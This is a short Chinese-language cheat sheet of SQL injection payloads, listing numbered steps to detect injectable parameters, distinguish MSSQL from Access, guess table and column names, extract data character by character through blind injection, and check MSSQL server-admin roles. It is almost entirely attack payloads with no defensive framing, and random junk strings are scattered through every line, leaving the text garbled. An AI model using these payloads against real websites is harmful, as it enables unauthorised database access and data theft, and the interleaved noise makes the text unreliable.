1.判断是否有注入;and 1=1 ;and 1=2 D59T?B|BdD
2.初步判断是否是mssql ;and user>0 fgF;&(b
i0pU!`0
3.注入参数是字符'and [查询条件] and ''=' Tby,J
B^U
SKXD^OH
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ?m;;D'1j
RuAlB*
5.判断数据库系统 A^Cj1:,
ohQAA h
;and (select count(*) from sysobjects)>0 mssql 4TRG.$2[
l@~LV}BI
;and (select count(*) from msysobjects)>0 access 3HiFISA*
.mxTfP=9
2t1I3yA'{z
`/Y+1 aD
6.猜数据库 ;and (select Count(*) from [数据库名])>0 Lz4ehWntO
Bw<rp-
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Z1,gtl ?
Hs0pW5oZ
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 .36^[Jsz":
&ak6zM
9.(1)猜字段的ascii值(access) gPEqjj
c-CYdi@
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 KN[d!}W:
6C-YyI#s#
(2)猜字段的ascii值(mssql) !3}deY8;#
>HTbegi
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 IcF@F>>
dpzw.Z
10.测试权限结构(mssql) ;IZ?19Q
p25Fn`}H
+,flE=5]s
>+9JD%]x]
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
fCX*R"
;")A{tX2
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 8cVzFFQP
5EeDHsvV9
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- `l]j#qshTm
~&VN_;j_
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- z,f=}t[.Y
F $yO
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- =mt?Cn}
CjL<